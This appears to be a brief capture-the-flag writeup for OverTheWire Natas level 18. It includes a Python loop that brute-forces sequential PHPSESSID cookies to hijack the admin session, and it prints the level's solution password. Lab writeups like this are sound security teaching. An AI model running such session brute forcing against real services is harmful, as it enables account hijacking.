Writeups OverTheWireNatasWeb ExploitationSession Brute Force

Natas 18 Writeup - OverTheWire

Writeup for Natas level 18 from OverTheWire: session ID brute force.

Contents

Wargame: Natas

Level: 18

Category: Web Exploitation

Description

A login page shows the password only to admin users. The source code reveals that PHP session IDs are assigned as sequential integers up to a maximum of 640. The goal is to find the admin’s session ID.

Overview

Background: Session Brute Force

Solution

Step 1: Read the Source

Step 2: Iterate All Session IDs

for session_id in range(1, 641):
    cookies = {"PHPSESSID": str(session_id)}
    r = requests.post(
        url,
        auth=HTTPBasicAuth("natas18", password),
        data={"username": "natas19", "password": "idk"},
        cookies=cookies,
    )
    if "You are an admin" in r.text:
        break

Step 3: Extract the Password

Password

8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s

← Back to Blog